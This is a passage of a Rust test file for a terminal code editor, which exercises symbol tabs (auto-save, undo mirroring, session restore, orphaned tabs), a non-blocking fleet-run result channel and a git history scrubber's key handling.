/// #369: auto save writes a file with a symbol tab once. Both tabs hold the
/// edit and are due together; writing the second would read the first
/// write as an external change and raise a conflict prompt.
#[test]
fn auto_save_writes_a_file_with_a_symbol_tab_once_and_cleans_both() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.auto_save = true;
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    let past = std::time::Instant::now() - std::time::Duration::from_secs(5);
    for e in app.editor.editors.iter_mut() {
        assert!(e.dirty, "fixture: both tabs hold the edit");
        e.last_edit_at = Some(past);
    }
    assert!(app.tick_auto_save());
    assert_eq!(
        std::fs::read_to_string(&file).unwrap(),
        "fn a() {\n    1\n}\nfn b() {\n    27\n}"
    );
    for e in &app.editor.editors {
        assert!(!e.dirty && !e.disk_conflict, "both tabs are saved");
    }
    assert!(app.input_prompt.is_none(), "no conflict prompt");
    assert!(!app.reload_open_file_after_external_change());
}

/// #369: both tabs of a file with a symbol tab meet a disk conflict
/// together, and the prompt names the file once.
#[test]
fn auto_save_reports_a_symbol_tabs_file_conflict_once() {
    use crate::widgets::input_prompt::InputPurpose;
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.auto_save = true;
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    std::fs::write(
        &file,
        "fn a() {\n    1\n}\nfn b() {\n    changed elsewhere\n}",
    )
    .unwrap();
    let past = std::time::Instant::now() - std::time::Duration::from_secs(5);
    for e in app.editor.editors.iter_mut() {
        e.last_edit_at = Some(past);
    }
    assert!(app.tick_auto_save());
    assert!(
        app.editor.editors.iter().all(|e| e.disk_conflict),
        "both tabs latch the conflict"
    );
    match app.input_prompt.as_ref().map(|p| &p.purpose) {
        Some(InputPurpose::ReloadConflict { paths }) => assert_eq!(paths, &vec![file]),
        _ => panic!("a conflict prompt"),
    }
}

/// #369: an encoding refusal on a file with a symbol tab names the file
/// once, not once per tab.
#[test]
fn auto_save_names_a_symbol_tabs_file_once_when_its_encoding_refuses() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _file) = app_with_symbol_tab_on_b(&tmp);
    app.auto_save = true;
    app.sync_symbol_views();
    let past = std::time::Instant::now() - std::time::Duration::from_secs(5);
    for e in app.editor.editors.iter_mut() {
        e.encoding = encoding_rs::WINDOWS_1252;
        e.lines[4] = String::from("    \u{65e5}\u{672c}");
        e.dirty = true;
        e.last_edit_at = Some(past);
    }
    assert!(app.tick_auto_save());
    assert!(app.editor.editors.iter().all(|e| e.encoding_loss));
    assert_eq!(app.status.matches("two.rs").count(), 1, "{}", app.status);
}

/// #369: a format-on-save write lands after `save` returned, so it settles
/// the file's other tab itself rather than leaving it dirty.
#[test]
fn a_deferred_format_on_save_write_cleans_the_symbol_tabs_sibling() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    app.save_after_format = Some(file.clone());
    app.complete_pending_save();
    assert!(std::fs::read_to_string(&file).unwrap().contains("27"));
    assert!(!app.editor.editors[1].dirty, "the symbol tab is saved");
    assert!(!app.editor.editors[0].dirty, "so is the file's tab");
    assert!(!app.reload_open_file_after_external_change());
}

/// #369: a format-on-save reply that lands after the user moved to another
/// file writes the requested file's tab and still settles its symbol tab.
#[test]
fn a_late_format_on_save_write_cleans_the_symbol_tabs_sibling_from_another_file() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    let other = tmp.path().join("other.rs");
    std::fs::write(&other, "fn c() {}").unwrap();
    app.editor.open_pinned(&other).unwrap();
    assert_eq!(app.editor.path.as_deref(), Some(other.as_path()));
    app.save_after_format = Some(file.clone());
    app.complete_pending_save();
    assert!(std::fs::read_to_string(&file).unwrap().contains("27"));
    let tabs: Vec<_> = app
        .editor
        .editors
        .iter()
        .filter(|e| e.path.as_deref() == Some(file.as_path()))
        .collect();
    assert_eq!(tabs.len(), 2, "fixture: the file and its symbol tab");
    assert!(tabs.iter().all(|e| !e.dirty), "both tabs are saved");
}

/// #369: the focus-change sweep, which waits for no delay, also writes a
/// file with a symbol tab once and cleans both when focus leaves the editor.
#[test]
fn a_focus_change_save_writes_a_file_with_a_symbol_tab_once() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('7'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    assert!(app.editor.editors.iter().all(|e| e.dirty), "fixture");
    // Focus left the editor, so both tabs are due at once.
    app.focus = Pane::Tree;
    assert!(app.sweep_auto_save(false));
    assert!(std::fs::read_to_string(&file).unwrap().contains("27"));
    for e in &app.editor.editors {
        assert!(!e.dirty && !e.disk_conflict, "both tabs are saved");
    }
    assert!(app.input_prompt.is_none(), "no conflict prompt");
}

/// #369: every way in opens the same symbol tab.
///
/// `Cmd+K Shift+V` takes the symbol at the caret, and an OUTLINE row's right-click
/// menu opens the row's symbol even when the caret sits elsewhere.
#[test]
fn the_chord_and_the_outline_menu_open_a_symbol_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 1;
    // Plain Cmd+K V is Live Run's.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('v'), KeyModifiers::NONE)));
    assert!(
        app.editor.symbol_view.is_none(),
        "Cmd+K V is not the symbol tab"
    );
    // Shift arrives lowercase with SHIFT under CSI-u.
    let mut csi_u = App::new(tmp.path().to_path_buf()).unwrap();
    csi_u.editor.open_pinned(&file).unwrap();
    csi_u.editor.cursor_row = 1;
    assert!(csi_u.handle_cmd_k_chord(key(KeyCode::Char('v'), KeyModifiers::SHIFT)));
    assert!(csi_u.editor.symbol_view.is_some(), "Shift+v opens it too");
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('V'), KeyModifiers::SHIFT)));
    let view = app
        .editor
        .symbol_view
        .as_ref()
        .expect("Cmd+K Shift+V opened a symbol tab");
    assert_eq!((view.name.as_str(), view.first, view.last), ("a", 0, 2));

    app.editor.select(0);
    app.dispatch_menu_action(
        MenuAction::OpenSymbolTab {
            path: file.clone(),
            name: "b".into(),
            first: 3,
            last: 5,
        },
        tmp.path().to_path_buf(),
    );
    let view = app
        .editor
        .symbol_view
        .as_ref()
        .expect("the menu opened a symbol tab");
    assert_eq!((view.name.as_str(), view.first, view.last), ("b", 3, 5));
    assert_eq!(app.editor.editors.len(), 3);
}

/// #369: right-clicking an OUTLINE row offers its symbol as a tab.
///
/// The row, not the caret, picks the symbol: the caret sits in `a` while
/// the click lands on `b`'s row.
#[test]
fn an_outline_row_right_click_opens_that_symbol_as_a_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    if !app.explorer_views.is_visible(ExplorerView::Outline) {
        app.toggle_explorer_view(ExplorerView::Outline);
    }
    app.outline.collapsed = false;
    let symbols = app.compute_syntax_outline(&file);
    app.outline.set_symbols(file.clone(), symbols);
    painted(&mut app);
    let area = app.outline.last_area;
    let row = (area.y..area.y + area.height)
        .find(|&y| {
            app.outline
                .row_at(y)
                .is_some_and(|i| app.outline.symbols()[i].name == "b")
        })
        .expect("b has an OUTLINE row");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        area.x + 2,
        row,
    ));
    let menu = app.context_menu.as_mut().expect("the row has a menu");
    let idx = menu
        .items
        .iter()
        .position(|e| menu_label(e) == "Open Symbol in Its Own Tab")
        .expect("the menu offers the symbol tab");
    menu.selected = idx;
    app.handle_menu_key(key(KeyCode::Enter, KeyModifiers::NONE));

    let view = app
        .editor
        .symbol_view
        .as_ref()
        .expect("a symbol tab opened");
    assert_eq!((view.name.as_str(), view.first, view.last), ("b", 3, 5));
}

/// #369: a restart restores the file, not a duplicate of it.
///
/// The symbol tab mirrors its file's tab, so session capture drops it while
/// that tab is open, and keeps it (as a plain tab, with its unsaved text)
/// when it is the file's only tab.
#[test]
fn session_capture_keeps_a_symbol_tab_only_when_it_is_the_files_last_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    let state = app.capture_session_state();
    assert_eq!(state.tabs.len(), 1, "the file's tab alone");
    assert_eq!(state.active_tab, 0, "focus falls to the file's tab");

    app.editor.close_tab(0);
    app.editor.lines[4] = "    9".into();
    app.editor.dirty = true;
    let state = app.capture_session_state();
    assert_eq!(state.tabs.len(), 1);
    assert_eq!(state.tabs[0].path.as_ref(), Some(&file));
    assert!(
        state.tabs[0]
            .unsaved_text
            .as_deref()
            .unwrap()
            .contains("    9")
    );
}

/// #369: scrolling a symbol tab stops once its last line reaches the pane's
/// bottom; a short symbol never leaves a lone line above blank rows.
#[test]
fn a_symbol_tab_never_scrolls_its_tail_off_a_pane_it_fits() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 5;
    app.editor.cursor_col = 0;
    app.editor.scroll = 5;
    painted(&mut app);
    assert_eq!(
        app.editor.scroll, 3,
        "fn b's three lines fill the pane top down"
    );
}

/// #369: multi-cursor commands in a symbol tab stay inside the symbol:
/// Change All Occurrences matches only there, Add Cursor Above stops at its
/// first line, and a caret that lands outside is dropped rather than
/// stacked on the edge.
#[test]
fn multi_cursor_commands_stay_in_the_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.cursor_row = 3;
    app.editor.cursor_col = 0;
    assert_eq!(
        app.editor.select_all_occurrences_of_word_at_cursor(),
        1,
        "fn a's `fn` is outside"
    );
    assert!(app.editor.carets.is_empty());
    app.editor.selection = None;
    app.editor.add_cursor_above();
    assert!(app.editor.carets.is_empty(), "no caret above the symbol");
    for row in [0, 1] {
        app.editor
            .carets
            .push(crate::widgets::editor::EditorSelection::new(row, 0));
    }
    app.editor.clamp_to_symbol_view();
    assert!(app.editor.carets.is_empty(), "outside carets are dropped");
    // Two copies of one inside caret, and one on the primary, leave one.
    let (row, col) = (app.editor.cursor_row, app.editor.cursor_col);
    for (r, c) in [(4, 0), (4, 0), (row, col)] {
        app.editor
            .carets
            .push(crate::widgets::editor::EditorSelection::new(r, c));
    }
    app.editor.clamp_to_symbol_view();
    assert_eq!(app.editor.carets.len(), 1, "duplicates are removed");
    app.editor.carets.clear();
    // Add Selection to Next Match finds no `fn` outside the symbol.
    app.editor.cursor_row = 3;
    app.editor.cursor_col = 0;
    assert_eq!(app.editor.select_next_occurrence(), 1, "selects the word");
    assert_eq!(
        app.editor.select_next_occurrence(),
        1,
        "fn a's `fn` is outside"
    );
    assert!(app.editor.carets.is_empty());
}

/// #369: Add Cursor Below in a symbol tab stops at the symbol's last line,
/// with the rest of the file below it.
#[test]
fn add_cursor_below_stops_at_the_symbols_end() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 1;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    app.sync_symbol_views();
    assert_eq!(app.editor.symbol_clip(), Some((0, 3)));
    app.editor.cursor_row = 2;
    app.editor.cursor_col = 0;
    app.editor.add_cursor_below();
    assert!(app.editor.carets.is_empty(), "fn b is not the tab's");
}

/// #369: a collaborator's edit is not the symbol tab's own. A line they
/// open at the start of the symbol's first line stays above the symbol.
#[test]
fn a_collaborators_edit_on_a_symbols_edge_is_not_the_tabs_own() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    for ed in app.editor.editors.iter_mut() {
        ed.apply_span_edits(&[crate::widgets::editor::TextSpanEdit {
            start: (3, 0),
            end: (3, 0),
            new_text: String::from("\n"),
            utf16: false,
        }]);
        // The local caret sits just past the new line, where a caret that
        // had typed it would be.
        ed.cursor_row = 4;
        ed.cursor_col = 0;
        ed.collab_doc_gen = 1;
        ed.collab_synced_seq = ed.edit_seq;
    }
    app.sync_symbol_views();
    let view = app.editor.editors[1].symbol_view.as_ref().unwrap();
    assert_eq!(
        (view.first, view.last),
        (4, 6),
        "the new line is above fn b"
    );
}

/// #369: an edit on a symbol's edge lands on the side its caret is on.
///
/// Enter at the end of the symbol, typed in its own tab, opens a line the
/// tab keeps showing, so the caret stays on it; Enter at the start of the
/// symbol's first line, typed in the file's tab, opens a line above it that
/// the clip leaves out.
#[test]
fn a_line_opened_on_a_symbols_edge_goes_where_the_caret_is() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();

    app.editor.cursor_row = 5;
    app.editor.cursor_col = 1;
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('z'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines[6], "z", "the caret stayed on the new line");
    assert_eq!(app.editor.cursor_row, 6);
    let view = app.editor.editors[1].symbol_view.as_ref().unwrap();
    assert_eq!((view.first, view.last), (3, 6), "the symbol grew");

    app.editor.select(0);
    app.editor.cursor_row = 3;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    let view = app.editor.editors[1].symbol_view.as_ref().unwrap();
    assert_eq!(
        (view.first, view.last),
        (4, 7),
        "the opened line is above the symbol"
    );
}

/// #369: a mirrored tab undoes as far as the tab that was typed in.
///
/// A typing burst is one undo step where it was typed, so it is one step in
/// the file's tab too, and a selection away from the edit survives it.
#[test]
fn a_mirrored_typing_burst_is_one_undo_step_and_keeps_a_distant_selection() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    let before = app.editor.lines.clone();
    let mut sel = crate::widgets::editor::EditorSelection::new(0, 0);
    sel.head = (0, 4);
    app.editor.editors[0].selection = Some(sel);

    app.editor.cursor_row = 4;
    app.editor.cursor_col = 5;
    for c in ['a', 'b', 'c'] {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(app.editor.editors[0].lines[4], "    2abc");
    assert_eq!(
        app.editor.editors[0].selection,
        Some(sel),
        "a selection clear of the edit is kept"
    );
    assert!(app.editor.editors[0].undo());
    assert!(app.editor.editors[1].undo());
    assert_eq!(app.editor.editors[1].lines, before);
    assert_eq!(
        app.editor.editors[0].lines, before,
        "one undo takes back the whole burst in the file's tab too"
    );
}

/// #369: Join Lines, a counted line delete, find and Replace All stay
/// inside the symbol.
#[test]
fn line_joins_counted_deletes_and_find_stay_in_the_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("two.rs");
    std::fs::write(&file, "fn a() {\n    1\n}\nfn b() {\n    2\n}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.cursor_row = 1;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    assert_eq!(app.editor.symbol_clip(), Some((0, 3)));
    let before = app.editor.lines.clone();

    app.editor.cursor_row = 2;
    app.editor.join_lines();
    assert_eq!(app.editor.lines, before, "the last line joins nothing");

    // Find wraps within the symbol: from `fn a`'s `}`, the next `}` is
    // that same one, not `fn b`'s.
    let opts = crate::widgets::search::SearchOpts::default();
    let m = app.editor_find_step(true, "}", opts, 2, 0, true).unwrap();
    assert_eq!(m.row, 2);

    let mut find = crate::widgets::editor_find::EditorFind::new("fn".into(), opts);
    find.replace_visible = true;
    find.replace = "FN".into();
    app.editor_find = Some(find);
    app.editor_find_replace_all();
    assert_eq!(app.editor.lines[0], "FN a() {");
    assert_eq!(app.editor.lines[3], "fn b() {", "outside the symbol");

    app.editor.cursor_row = 1;
    app.editor.delete_lines(10);
    assert_eq!(
        app.editor.lines,
        ["FN a() {", "fn b() {", "    2", "}"],
        "the count stops at the symbol's end"
    );
}

/// #369: two symbol tabs of one file with no file tab restore as ONE tab.
#[test]
fn session_capture_keeps_one_tab_for_orphaned_symbol_tabs_of_a_file() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.editor.close_tab(0);
    app.open_symbol_tab_for("a".into(), 0, 2);
    assert_eq!(app.editor.editors.len(), 2);
    let state = app.capture_session_state();
    assert_eq!(state.tabs.len(), 1);
    assert_eq!(state.tabs[0].path.as_ref(), Some(&file));
}

/// #369: deleting a symbol tab's whole symbol closes the tab while a tab of
/// the whole file still holds the text.
#[test]
fn a_symbol_tab_whose_symbol_is_gone_closes() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, _file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    assert_eq!(app.editor.editors.len(), 2);
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    assert_eq!(app.editor.editors.len(), 1, "{}", app.status);
    assert!(app.status.contains("that symbol is gone"), "{}", app.status);
    assert!(app.editor.symbol_view.is_none());
}

/// #369: a symbol tab left as the only tab of its file keeps its unsaved
/// edits when its symbol is deleted: it becomes a tab of the whole file
/// instead of closing and taking them with it.
#[test]
fn an_orphaned_symbol_tab_with_unsaved_edits_survives_its_symbol() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    // An edit outside the symbol, made in the file tab and mirrored in.
    app.editor.select(0);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('9'), KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    app.editor.close_tab(0);
    assert!(
        app.editor.symbol_view.is_some(),
        "only the symbol tab is left"
    );
    assert!(app.editor.dirty);
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    app.sync_symbol_views();
    assert_eq!(app.editor.editors.len(), 1, "the tab stays: {}", app.status);
    assert!(
        app.editor.symbol_view.is_none(),
        "it shows the whole file now"
    );
    assert_eq!(app.editor.path.as_deref(), Some(file.as_path()));
    assert_eq!(
        app.editor.lines[1], "    19",
        "the out-of-clip edit survives"
    );
    assert!(app.editor.dirty);
    assert!(app.status.contains("whole file"), "{}", app.status);
}

/// #369: a tab that turned into a whole-file tab keeps the keys typed
/// right after, in the same burst, while another symbol tab of its file is
/// still open to mirror against.
#[test]
fn a_kept_orphan_keeps_the_next_keys_beside_a_sibling_symbol_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.select(0);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    app.sync_symbol_views();
    let whole = |app: &App| {
        app.editor
            .editors
            .iter()
            .position(|e| e.symbol_view.is_none())
    };
    app.editor.close_tab(whole(&app).expect("the file tab"));
    assert_eq!(app.editor.editors.len(), 2, "two symbol tabs are left");
    let b = app
        .editor
        .editors
        .iter()
        .position(|e| e.symbol_view.as_ref().is_some_and(|v| v.name == "b"))
        .expect("the b tab");
    app.editor.select(b);
    app.focus_pane(Pane::Editor);
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    let kept = whole(&app).expect("the b tab became a file tab");
    assert_eq!(
        app.editor.editors[kept].path.as_deref(),
        Some(file.as_path())
    );
    assert!(
        app.editor.editors[kept].lines.iter().any(|l| l == "x"),
        "{:?}",
        app.editor.editors[kept].lines
    );
}

/// #369: one symbol's tabs in two groups, with no file tab left in either:
/// deleting the symbol keeps one of them as the file's tab, and the other,
/// whose edits that tab now holds, closes and folds its group away.
#[test]
fn one_symbols_tabs_in_two_groups_keep_a_single_file_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.split_editor();
    app.editor.cursor_row = 4;
    app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
    app.sync_symbol_views();
    let file_tab = |tabs: &crate::widgets::editor::EditorTabs| {
        tabs.editors
            .iter()
            .position(|e| e.symbol_view.is_none())
            .expect("the file tab")
    };
    let i = file_tab(&app.editor);
    app.editor.close_tab(i);
    let other = &mut app.editor_layout.inactive_groups_mut()[0];
    let i = file_tab(other);
    other.close_tab(i);
    assert_eq!(app.editor.editors.len(), 1);
    assert_eq!(app.editor_layout.inactive_groups()[0].editors.len(), 1);
    app.focus_pane(Pane::Editor);
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.editor_layout.inactive_groups().is_empty(),
        "the other copy closed and its group folded away"
    );
    assert_eq!(app.editor.editors.len(), 1);
    let kept = &app.editor.editors[0];
    assert!(kept.symbol_view.is_none() && kept.dirty);
    assert_eq!(kept.path.as_deref(), Some(file.as_path()));
    assert!(app.status.contains("whole file"), "{}", app.status);
}

/// Opens `impl S` and `fn m` as symbol tabs, closes the file tab, deletes
/// m's line from the impl tab one Backspace at a time (m goes on the last
/// one), then presses undo once in the impl tab or in the m tab (by then
/// the file's tab); hands back the line undo left.
fn undo_once_after_m_goes(in_kept: bool) -> String {
    fn tab(app: &App, name: &str) -> Option<usize> {
        app.editor
            .editors
            .iter()
            .position(|e| e.symbol_view.as_ref().is_some_and(|v| v.name == name))
    }
    let m_line = "    fn m() {}";
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("s.rs");
    std::fs::write(&file, format!("impl S {{\n{m_line}\n}}\n")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    for row in [1, 0] {
        app.editor.select(0);
        app.editor.cursor_row = row;
        app.editor.cursor_col = 0;
        app.run_command(crate::widgets::command_palette::Command::OpenAsSymbolTab);
        app.sync_symbol_views();
    }
    let i = app
        .editor
        .editors
        .iter()
        .position(|e| e.symbol_view.is_none())
        .expect("the file tab");
    app.editor.close_tab(i);
    let imp = tab(&app, "S").expect("the impl tab");
    app.editor.select(imp);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = m_line.chars().count();
    app.focus_pane(Pane::Editor);
    for _ in 0..m_line.chars().count() {
        app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
            .unwrap();
    }
    assert!(tab(&app, "m").is_none(), "m is gone");
    let kept = app
        .editor
        .editors
        .iter()
        .position(|e| e.symbol_view.is_none())
        .expect("the m tab became the file tab");
    assert_eq!(
        app.editor.editors[kept].lines[1], "",
        "the kept tab mirrors the emptied line"
    );
    let at = if in_kept {
        kept
    } else {
        tab(&app, "S").expect("the impl tab")
    };
    app.editor.select(at);
    app.handle_key(key(KeyCode::Char('z'), KeyModifiers::SUPER))
        .unwrap();
    app.editor.lines[1].clone()
}

/// #369: a method's symbol tab kept as the file's tab while the impl tab's
/// Backspaces delete the method keeps taking one undo step per Backspace,
/// so one undo there walks back as far as it does in the impl tab. m goes
/// on the last Backspace, in the pass that last mirrored it: the kept tab
/// must stay a mirror member (its `mirror_seq` kept), or its undo is
/// overwritten by the impl tab's text.
#[test]
fn a_kept_orphan_undoes_the_backspaces_that_deleted_its_symbol_like_its_sibling() {
    let in_impl = undo_once_after_m_goes(false);
    assert_ne!(
        in_impl, "",
        "undo in the impl tab restores part of the line"
    );
    assert_eq!(undo_once_after_m_goes(true), in_impl);
}

/// #369: a clean symbol tab whose symbol goes closes even with no file
/// tab open: it holds nothing the disk does not.
#[test]
fn a_clean_orphaned_symbol_tab_closes_when_its_symbol_goes() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.sync_symbol_views();
    app.editor.close_tab(0);
    assert!(app.editor.symbol_view.is_some() && !app.editor.dirty);
    std::fs::write(&file, "fn a() {\n    1\n}\n").unwrap();
    app.editor.reload_if_clean().unwrap().unwrap();
    app.sync_symbol_views();
    assert!(
        app.editor.editors.iter().all(|e| e.path.is_none()),
        "{}",
        app.status
    );
    assert!(app.status.contains("that symbol is gone"), "{}", app.status);
}

/// #369: going to a file lands on the tab that shows ALL of it.
///
/// A symbol tab has the file's path, and the tab lookups behind opening,
/// previewing and selecting a file would otherwise pick it and show a jump
/// target that sits outside its clip as the clip's nearest edge.
#[test]
fn opening_a_file_never_lands_in_its_symbol_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let (mut app, file) = app_with_symbol_tab_on_b(&tmp);
    app.editor.close_tab(0);
    assert!(
        app.editor.editors[0].symbol_view.is_some(),
        "only the symbol tab is left"
    );

    app.open_at_utf16(&file, 0, 0).unwrap();
    assert!(
        app.editor.symbol_view.is_none(),
        "the jump opened a tab of the whole file"
    );
    assert_eq!(app.editor.cursor_row, 0, "and landed where it was sent");
    assert_eq!(
        app.editor.editors.len(),
        2,
        "the symbol tab stays open beside it"
    );
}

/// #363: a fleet run does not block the event loop, and its results arrive
/// through the channel like every other background answer.
///
/// The blocking version is the tempting one — `run_on_hosts` returns a
/// `Vec`, so calling it inline reads naturally — and it freezes the editor
/// for up to `FLEET_TIMEOUT` while the network answers. The user could not
/// scroll, type, or cancel. This asserts the split: the command returns at
/// once, and a later drain reports.
#[test]
fn a_fleet_run_reports_through_the_channel_rather_than_blocking() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Nothing in flight: a drain finds nothing and says so, rather than
    // blocking or inventing an empty result.
    assert!(!app.drain_fleet_results(), "no run, nothing to report");

    // Feed a result as the worker thread would.
    let results = vec![
        crate::fleet::HostResult {
            host: String::from("a"),
            output: String::from("5.15.0"),
            exit: Some(0),
            elapsed: std::time::Duration::ZERO,
        },
        crate::fleet::HostResult {
            host: String::from("b"),
            output: String::from("5.15.0"),
            exit: Some(0),
            elapsed: std::time::Duration::ZERO,
        },
        crate::fleet::HostResult {
            host: String::from("odd"),
            output: String::from("6.1.0"),
            exit: Some(0),
            elapsed: std::time::Duration::ZERO,
        },
        crate::fleet::HostResult {
            host: String::from("down"),
            output: String::from("timed out"),
            exit: None,
            elapsed: std::time::Duration::ZERO,
        },
    ];
    app.fleet_running = true;
    app.fleet_tx.send(results).unwrap();

    assert!(app.drain_fleet_results(), "a delivered result must report");
    assert!(!app.fleet_running, "the run is no longer in flight");
    assert!(
        app.status.contains("2 identical") && app.status.contains("1 differ"),
        "the summary must reach the user: {}",
        app.status
    );
    assert!(app.status.contains("1 failed"), "status: {}", app.status);

    // And the channel is empty again, so a second drain is a no-op rather
    // than replaying the same run.
    assert!(!app.drain_fleet_results(), "results are consumed once");
}

/// #371: the scrubber's keys move through history, and anything else keeps
/// its normal meaning.
///
/// The consumed/not-consumed split is the point. A scrubber that swallowed
/// every key would be a mode, and the user would lose their editor to a
/// gesture they meant as a glance.
#[test]
fn the_scrubber_consumes_its_own_keys_and_no_others() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let fake = |h: &str, sum: &str| crate::git::GraphCommit {
        hash: String::from(h),
        short_hash: String::from(&h[..7]),
        parents: Vec::new(),
        refs: Vec::new(),
        summary: String::from(sum),
        author: String::from("t"),
        age_secs: 0,
    };
    app.scrubber = Some(crate::scrubber::Scrubber::new(vec![
        fake("aaaaaaa1", "newest"),
        fake("bbbbbbb2", "older"),
    ]));

    // Left steps back and lands on HEAD, not past it.
    assert!(app.handle_scrubber_key(KeyCode::Left));
    assert_eq!(
        app.scrubber.as_ref().unwrap().position(),
        crate::scrubber::Position::At(0)
    );
    assert!(app.status.contains("aaaaaaa"), "status: {}", app.status);
    assert!(
        app.status.contains("newest"),
        "the summary helps: {}",
        app.status
    );

    // Home returns to the working tree from anywhere.
